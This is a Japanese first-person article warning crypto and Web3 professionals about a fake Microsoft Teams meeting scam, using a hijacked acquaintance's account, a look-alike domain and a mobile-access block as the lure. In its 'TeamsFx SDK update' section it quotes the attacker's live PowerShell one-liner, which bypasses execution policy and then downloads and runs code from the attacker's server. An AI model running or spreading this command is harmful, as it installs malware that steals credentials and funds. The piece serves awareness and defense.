Microsoft Teamsの通話でほぼハッキングされた — スカムの仕組み解説

今日は、Microsoft Teamsの通話という日常的で無害に見えるものを悪用する elaborate なソーシャルエンジニアリングスキームの被害者になる寸前だった経緯をお話しします。 

やり取りの大部分では、何も不自然な点は見えませんでした。 

業界の知人だと思っていた人物から連絡があり、Microsoft Teamsでミーティングを設定するよう求められました。協力好きな私は、その呼びかけに乗って通話に参加するつもりでした。 

ネタバレになりますが、相手はなりすまし者であり、私のコンピュータで悪意のあるコードを実行させようとしていました。 

ここでは、暗号資産およびWeb3コミュニティの友人、知人、同世代の人々への警告として、この体験全体を振り返ります。 

今日私がやられそうになったように、明日は誰かがやられる可能性があります。 

ステップ 1：セットアップ — 「久しぶりの通話ね、古い友人」 

有名な暗号資産PR企業のトップ社員として知っている人物のTelegramアカウントからメッセージが届いた場合、フィッシングの罠に引っかかっているとは夢にも思わないでしょう。 

典型的なレッドフラグも、すぐに目立つものではありませんでした。 

これはランダムなDM（ダイレクトメッセージ）ではありませんでした。 

「i」が微妙に「l」に置き換えられたなりすましアカウントとの会話でもありませんでした。 

実際、そのアカウントとのチャット履歴もあったため、相手は本物の人物だと信じていました。 

再会を目的とした全く友好的な会話から始まり、すぐに30分のミーティングを予約するためのCalendlyリンクと、Microsoft Teamsの通話招待状が届きました。

前述の通り、やり取りを通じて私の警戒心は一度も働きませんでした。トップPR企業の高位スタッフから期待されるのと同じレベルの専門性と忍耐強さを感じました。 

私が知っていたのは、業界の知人のCalendlyページからTeamsのミーティングを予約したということだけでした。

詐欺師はハッキングされたアカウントを使用して連絡を取り、Teamsのミーティングリンクを送信します。

ステップ 2：「デスクトップのみで参加」の罠 

ミーティング当日、私は過去に少なくとも1000回以上行ってきたように、スマートフォンでTeamsのミーティングリンクをクリックしました。しかし、いつものようにすぐにミーティングに入るわけではありませんでした。通話にリダイレクトされる代わりに、「主催者の設定により、モバイルデバイスからのこのミーティングへのアクセスは許可されていません」と主張する画面が表示されました。 

「おっと！これは今まで起きたことがありません。」 

もちろん、これも偶然ではありませんでした。 

振り返れば、これが最初の本当のレッドフラグだった可能性があります。 

このエラー画面は設計の一部です。詐欺師は、悪意のあるペイロードがPCでのみ実行されるコマンドラインスクリプトであるため、あなたをデスクトップまたはラップトップに留めたいのです。

ブラウザのURL「teams.livescalls.com」は、実際のMicrosoftドメインではありません。

正規のTeamsミーティングは teams.microsoft.com または teams.live.com.を使用します。

「livescalls.com」ドメインは遠目には本物に似ていますが、よく見れば本物とは程遠いことがわかります。 

一方は3億2000万人以上の日次アクティブユーザーを誇るMicrosoft管理のサイトです。もう一方は攻撃者によって完全に管理される偽のサイトです。 

公平を期すために、一部の組織はチームミーティングにカスタムドメインを使用することがあります。しかし、世界経済フォーラムによると2025年に詐欺師に奪われた資金は1兆ドル以上であり、これは私のスパイダーセンスを無視する理由としては十分でした。 

偽の「チームアクセス通知」ページはモバイルアクセスをブロックし、悪意のあるスクリプトを実行できるデスクトップの使用を強制します。URLに注目：teams.livescalls.com — Microsoftのドメインではありません。

モバイルブロック後、詐欺師は「パートナーが待っている」と主張し、被害者にデスクトップでの参加を迫ります。

ステップ 3：ペイロード — 「TeamsFx SDKを更新してください」

デスクトップに切り替えると、偽のTeamsミーティングには、公式のMicrosoftドキュメントで見かけるようなプロフェッショナルにデザインされたページが表示されました。2025年9月までにTeamsFx SDKが廃止されるという、実際のMicrosoftの言語さえ含まれていました。 

解決策は？コードブロックをコピーして、ターミナルまたはコマンドプロンプトで実行すること。

もしGoogle検索をさらに踏み込んだなら、類似のSDKが実際に存在することがわかります。ただし、このTeams通話には必要ありません。 

コードは一見無害に見えます — TeamsFx_API_KEYやMS_Teams_API_SECRETのような公式らしい名前の環境変数を設定しています。しかし、本当の攻撃ベクトルは中間に挟まれており、攻撃者はあなたが問題に気づくことを期待していません：

powershell -ep bypass -c “(iwr -Uri https://teams.livescalls.com/developer/sdk/update/version/085697307 -UserAgent ‘teamsdk’ -UseBasicParsing).Content | iex”

この1行はPowerShellのセキュリティポリシー（-ep bypass）を回避し、攻撃者のサーバーからコードをダウンロードし、即座に実行します（iex = Invoke-Expression）。 

そしてあっという間に、攻撃者がホストしていたマルウェア、キーロガー、またはリモートアクセスツールのいずれかが、あなたのデバイスに静かにインストールされます。

参加者に提示されている悪意のある「TeamsFx SDK更新」ページを表示する偽のTeamsミーティングインターフェース。通話の参加者に注目 — AI生成の動画です。

ステップ 4：「心配しないで、安全よ」圧力段階

スクリプトの実行に躊躇を示すと、なりすまし者は即座に安心感と圧力を組み合わせた返答をしました。 

「心配しないで、とても簡単であなたにとって安全です」という台詞は、PCでコマンドプロンプトを開く方法を示すスクリーンショットの指示に従うよう私を促すためのものでした。 

「パートナーはすでにZoomで参加しています」というのは、簡単なコマンドプロンプトの実行方法がわからなかったために全員にプラットフォームを変更させる必要がないというプレッシャーを感じさせるためのものでした。

私は安心せず、また圧力も感じませんでした。

Google Meetに通話を移すことを提案すると、彼らは拒否しました。どうやら、彼らのスカムは偽のTeams設定を通じてしか機能しないようです。

詐欺師は悪意のあるコードを実行するための手順を段階的に送信し、被害者に「心配しないで、とても簡単であなたにとって安全です」と安心させます。

ステップ 5：虚偽の暴露 — ブロックされ削除される

スクリプトとドメインを確認した後、私の疑念は確信に変わりました：私はソーシャルエンジニアリングの標的になっており、世界経済フォーラムの2026年の統計に含まれる寸前でした。 

私は詐欺師に直接「確認したところ、このコマンドとウェブサイトは正規のものではありません。残念ながら実行できません」と伝えました。もしまだ会話したいのであれば、Google Meetで続けると提案しました。

「でも、ミーティングは現在進行中だ」というメッセージが返ってきました。 

予想通り、その返答はミーティングへの参加の緊急性を私に自覚させるためのものだったのです。結局、多くのパートナーに長く待たせるわけにはいきませんから。

数分後、彼らは私たちのすべてのやり取りを削除し、私をブロックしました。 

あぁ… それは単なるレッドフラグではありません。クリムゾン（深紅）の影ですね。 

ビジネスの知人は、ソフトウェアの更新を疑った瞬間に、会話履歴全体を削除してブロックすることはありません。

スカムが暴かれた後、攻撃者はすべてのメッセージを削除し、被害者をブロックする前に、ミーティングが「現在進行中だ」と主張します。

自己防衛の方法

この種の攻撃は、暗号資産、Web3、およびテクノロジー業界全体で急増しています。詐欺師は、PR専門家、投資家、プロジェクトリーダーなどの実在するアカウントを乗っ取ったりなりすましたりして、高価値の個人を標的にしています。安全に過ごすための方法はこちらです：

• ミーティングページからコマンドを実行しないでください。 正規のビデオ通話プラットフォームが、ターミナルやコマンドプロンプトにコードを貼り付けるよう求めることは決してありません。
• URLを確認してください。 正規のMicrosoft Teamsミーティングは、teams.microsoft.comまたはteams.live.comで行われます。「teams.livescalls.com」やその他の似非ドメインではありません。
• 「デスクトップのみ」の要件には注意してください。 モバイルアクセスをブロックするミーティングは、スクリプトを実行できるマシンにあなたを誘導するための意図的な戦術です。
• 別のチャネルで相手を確認してください。 知人から不審なミーティングリンクが届いた場合は、直接電話をかけるか、別のプラットフォームでメッセージを送って確認してください。
• 「powershell -ep bypass」や「iex」に注意してください。 これらはスクリプトにおける2大レッドフラグです。前者はセキュリティを無効にし、後者はダウンロードされたコードを盲目的に実行します。
• すでにスクリプトを実行してしまった場合： 直ちにインターネットから切断してください。マルウェアのフルスキャン（Malwarebytes、Windows Defender Offline）を実行してください。別のクリーンなデバイスからすべてのパスワードを変更してください。暗号資産ウォレットや銀行口座で不正送金がないか監視してください。

なぜこれが暗号資産およびWeb3にとって重要なのか

これは、攻撃者が広範囲に網を投げかけて引っかかったものを見るような、典型的なフィッシングのやり取りではありません。 

いいえ、これはターゲットを絞った、数日間にわたるソーシャルエンジニアリング作戦でした。攻撃者は数日間にわたって業界の同僚になりすまし、信頼関係を築き、説得力のある偽のMicrosoftページを通じてTeams通話で技術的な問題を修正するよう casually に誘導する準備をしていました。 

彼らがあなたの資格情報を盗み、暗号資産ウォレットを空にし、永続的なリモートアクセスマルウェアをインストールしようが、攻撃者には得るものが多く、失うものは何もありません。 

もしあなたが創業者、投資家、または暗号資産およびテクノロジー分野でミーティングを行う立場にあるなら、この記事をチームと共有してください。これらのスカムを実行する人々は上達しており、唯一の防御手段は意識の高さです。